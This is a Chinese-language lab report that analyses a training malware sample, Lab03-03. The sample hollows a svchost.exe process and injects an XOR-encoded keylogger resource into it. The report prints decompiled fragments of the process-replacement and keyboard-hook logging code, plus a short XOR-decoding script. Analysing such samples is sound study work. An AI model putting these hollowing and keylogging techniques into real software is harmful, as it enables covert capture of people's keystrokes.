实验目的
完成lab03-03程序的动态分析,得出恶意程序的目的。
实验环境
WinXP x32虚拟机
实验内容
静态分析
PEiD & ResourceHacker
用PEiD打开,可以发现该程序没有加壳,且包含一个资源。

可以看到,该程序导入了如下函数。

其中需要注意的函数有:
- 获取环境变量及文件相关操作
- GetEnvironmentStrings
- GetSystemDictionaryA
- ReadFile
- CreateFileA
- WriteFile
- 进程、线程相关操作(并未全部列出)
- Sleep
- ResumeThread
- CreateProcessA
- GetProcAddress
- WriteProcessMemory
- 读取二进制资源(并未全部列出)
- FindResourceA
- LoadResource
- SizeofResource
- 获取当前正在活动的ANSI代码页标识符,并获取系统OEM页标识符以将一个字符串正确转编码为另一个字符串
- GetACP
- GetCpInfo
- GetOEMCP
- LCMapStringA
- MultiByteToWideChar
- WideCharToMultiByte
- 疑似反调试
- GetVersion
- GetStartupInfoA
用ResourceHacker打开,可以看到包含的资源如下,导出留待后续分析。

查看字符串可以发现包含\svchost.exe
等字样。

初步猜测该程序会通过注入svchost.exe运行,并将包含的资源写入进程内存;除此以外,该程序极有可能还会创建文件以记录当前代码页ANSI标识符及某些字符串。同时,该恶意程序可能做了反调试工作,防止在虚拟机中运行或在Ollydbg等动态调试软件中运行。
IDA
Lab03-03
用IDA打开该程序,F5反编译,摘取关键代码如下:
//main()
if ( (unsigned int)argc < 2 )
{
lpAddress = 0;
hModule = GetModuleHandleA(0);
sub_40149D(aSvchost_exe, &ApplicationName, 0x400u);
//通过注入svchost.exe运行
lpAddress = (LPVOID)sub_40132C(hModule);
//读取二进制资源并寻址
if ( lpAddress )
{
sub_4010EA(&ApplicationName, lpAddress);
//从该特定地址写入进程内存
memset(&ApplicationName, 0, 0x400u);
//将&ApplicationName指向的字符串的前0x400个字符全部初始化为0
VirtualFree(lpAddress, 0, 0x8000u);
//释放
}
}
Sleep(0x3E8u);
//挂起1000毫秒
可以看到证实了之前的部分猜测,该程序会通过注入svchost.exe运行,将svchost.exe进程内存修改为经函数变换后的资源,并在挂起一秒后退出。
此外,在lab03-03.exe里还有一个没有用到的函数sub_401037(),暂时猜测是废弃函数,也可能会通过hook调用。
//sub_401037()
hFile = CreateFileA(lpFileName, 0x80000000, 1u, 0, 3u, 0x80u, 0);
if ( hFile )
{
dwSize = GetFileSize(hFile, 0);
if ( dwSize )
{
lpBuffer = VirtualAlloc(0, dwSize, 0x1000u, 4u);
if ( lpBuffer )
{
NumberOfBytesRead = 0;
ReadFile(hFile, lpBuffer, dwSize, &NumberOfBytesRead, 0);
if ( NumberOfBytesRead != dwSize )
{
VirtualFree(lpBuffer, 0, 0x8000u);
lpBuffer = 0;
}
}
}
CloseHandle(hFile);
localization(程序包含的资源)
在lab03-03.exe中,与程序中资源相关的部分代码如下:
//main()
lpAddress = (LPVOID)sub_40132C(hModule);
//sub_40132c()
dwSize = SizeofResource(hModule, hResInfo);
...
if ( v5 )
{
memcpy(v5, v6, dwSize);
if ( *(_BYTE *)v5 != 77 || *((_BYTE *)v5 + 1) != 90 )
sub_401000(v5, dwSize, 65);
}
//sub_401000()
for ( i = 0; i < a2; ++i )
{
*(_BYTE *)(i + a1) ^= a3;
result = i + 1;
}
构造解密脚本
#python 2
f=open('LOCALIZATION','rb').read()
a=''
for i in f:
a+=chr(ord(i)^65)
f=open('LOCALIZATION2','wb').write(a)
可得解密后的文件,易知这是一个PE文件。

拖入PEiD,可以看到该文件包含一些可疑字符串,猜测可能是键盘记录器。

用IDA打开,反编译,摘取关键代码如下:
//main()
AllocConsole(); //创建控制台
hWnd = FindWindowA(ClassName, 0);
if ( hWnd )
ShowWindow(hWnd, 0); //隐藏控制台窗口
memset(byte_405350, 1, 0x400u);
v3 = GetModuleHandleA(0); //获取模块句柄
hhk = SetWindowsHookExA(13, fn, v3, 0); //设置监视低级键盘输入事件的钩子
while ( GetMessageA(0, 0, 0, 0) )
;
return UnhookWindowsHookEx(hhk); //卸载钩子
//fn()
if ( !code && (wParam == 0x104 || wParam == 0x100) )
//如果键盘消息标识符是0x104(WM_SYSKEYDOWN)或0x100(WM_KEYDOWN)
sub_4010C7(*(_DWORD *)lParam);
return CallNextHookEx(0, code, wParam, lParam);
其中,对main函数中语句hhk = SetWindowsHookExA(13, fn, v3, 0);
的说明如下:
值 | 含义 |
---|---|
WH_KEYBOARD_LL 13 | 安装一个监视低级键盘输入事件的钩子过程。有关更多信息,请参阅LowLevelKeyboardProc挂接过程。 |
对fn函数中语句return CallNextHookEx()
的说明如下:
如果nCode小于零,则挂钩过程必须返回CallNextHookEx返回的值。
如果nCode大于或等于零,并且钩子过程没有处理消息,强烈建议您调用CallNextHookEx并返回它返回的值; 否则,安装了WH_KEYBOARD_LL挂钩的其他应用程序将不会收到挂钩通知,因此可能会出现错误行为。
此外,微软官方对LowLevelKeyboardProc回调函数的备注如下:
钩子过程应该在比以下注册表项中的LowLevelHooksTimeout值中指定的数据条目更短的时间内处理消息:
HKEY_CURRENT_USER\Control Panel\Desktop
该值以毫秒为单位。如果挂钩过程超时,系统会将消息传递给下一个挂钩。
fn函数调用的sub_4010C7()
函数的部分代码如下:
//sub_4010c7()
result = CreateFileA(FileName, 0x40000000u, 2u, 0, 4u, 0x80u, 0);
//创建文件practicalmalwareanalysis.log
hFile = result;
if ( result != (HANDLE)-1 )
{
SetFilePointer(result, 0, 0, 2u); //设置文件指针
v2 = GetForegroundWindow(); //获取当前激活的窗口
GetWindowTextA(v2, ::Buffer, 1024); //获取窗口标题栏文字
if ( strcmp(byte_405350, ::Buffer) )
{
WriteFile(hFile, aWindow, 0xCu, &NumberOfBytesWritten, 0);
//在文件中换行并写入字符串 [Window:
v3 = strlen(::Buffer);
WriteFile(hFile, ::Buffer, v3, &NumberOfBytesWritten, 0);
//写入窗口标题栏文字
WriteFile(hFile, asc_40503C, 4u, &NumberOfBytesWritten, 0);
//写入 ]并换行
strncpy(byte_405350, ::Buffer, 0x3FFu);
byte_40574F = 0;
}
if ( (unsigned int)Buffer < 0x27 || (unsigned int)Buffer > 0x40 )
//对键盘输入值做判断并写入文件
{
if ( (unsigned int)Buffer <= 0x40 || (unsigned int)Buffer >= 0x5B )
{
switch ( Buffer )
{
case 32:
WriteFile(hFile, asc_405074, 1u, &NumberOfBytesWritten, 0);
break;
同样证实了之前的部分猜测,可以看出lab03-3.exe包含的资源是一个键盘监视器,会将windows当前激活窗口上的按键记录到practicalmalwareanalysis.log文件里。
结合至今为止的分析,不难看出,lab03-3.exe会创建svchost.exe子进程和一个隐藏的控制台,并将键盘记录器程序写入进程内存,随后退出自身,与之前的猜想基本吻合。
动态分析
打开procmon和process explorer,并运行lab03-3.exe。
Process Explorer
可以看到lab03-3.exe创建了一个svchost.exe的子进程,随后终止,只留下svchost.exe进程。

lab03-3.exe进程结束后,部分进程如下图,可以看到新创建的svchost.exe进程的PID为1000。

双击该进程,选择strings->memory
,可以发现进程的内存被改动过,且与localization文件中的可打印字符串完全一致,与之前分析的结果相符。(左为修改过的svchost.exe进程,右为正常的svchost.exe进程)

同时,在存放lab03-3.exe的文件夹下新生成了practicalmalwareanalysis.log文件,同样符合之前对localization文件的分析结果。

Procmon
根据得知的进程PID设置过滤器如下:

可以看出该程序多次创建并写入了practicalmalwareanalysis.log
文件。

打开该文件,可以看到文件里记录了一些数据,包括窗口名和1000等字样,文字格式与对sub_4010c7()函数的分析相符。联想到之前设置过滤器时曾输入过PID=1000,结合静态分析时推测的结果,进一步证实该恶意程序是键盘记录器。

此外,当创建一个新的文本文档并打开时,可以看到practicalmalwareanalysis.log被更改的提示,也符合对sub_4010c7()函数的分析。

随意输入一些字符,重新打开log文件后,通过增加的内容可以确认该程序的确为键盘记录器。

结论
该恶意程序采用进程替换,首先以挂起模式创建一个新进程svchost.exe,再将该进程内存更改为资源中包含的恶意代码(键盘记录器)来达成目的。在运行该程序后,将在同一文件夹下生成一个名为practicalmalwareanalysis.log的文件,文件中记录了当前激活窗口名称及在该窗口上的按键记录。如果kill了该程序创建的svchost.exe进程,键盘记录将不再起效,机器重启时也不会自动创建该进程。
网友评论